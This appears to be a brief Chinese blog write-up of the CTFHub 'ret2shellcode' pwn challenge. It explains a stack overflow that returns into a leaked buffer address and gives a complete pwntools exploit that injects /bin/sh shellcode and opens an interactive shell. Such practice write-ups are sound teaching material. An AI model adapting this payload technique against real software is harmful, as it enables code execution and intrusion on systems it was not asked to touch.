共计 581 个字符,预计需要花费 2 分钟才能阅读完成。
提醒:本文最后更新于 2024-08-27 14:50,文中所关联的信息可能已发生改变,请知悉!
CTFHUB-PWN-ret2shellcode
checksec
IDA
从 main 函数来看,程序运行时会先输出 buf_addr,利用 exp 脚本获取它即可。
然后程序给出一个输入点,可以通过覆盖完这个输入点,返回到我们获得的 buf_addr,再通过溢出达到 shellcode
运行
可以看到一串地址,但它会每次变化
EXP
from pwn import *
p = process('./pwn')
# p = remote('challenge-2e237696f74ad1c2.sandbox.ctfhub.com', 24809)
context.arch = 'amd64'
p.recvuntil('it : [')
buf_addr = int(p.recvuntil(']', drop = True), 16)
shellcode_addr = buf_addr + 0x10 + 0x8 + 0x8
shellcode = asm(shellcraft.amd64.linux.sh())
payload = b'a' * 0x18 + p64(shellcode_addr) + shellcode
p.sendlineafter('someting : ', payload)
p.interactive()
结果
正文完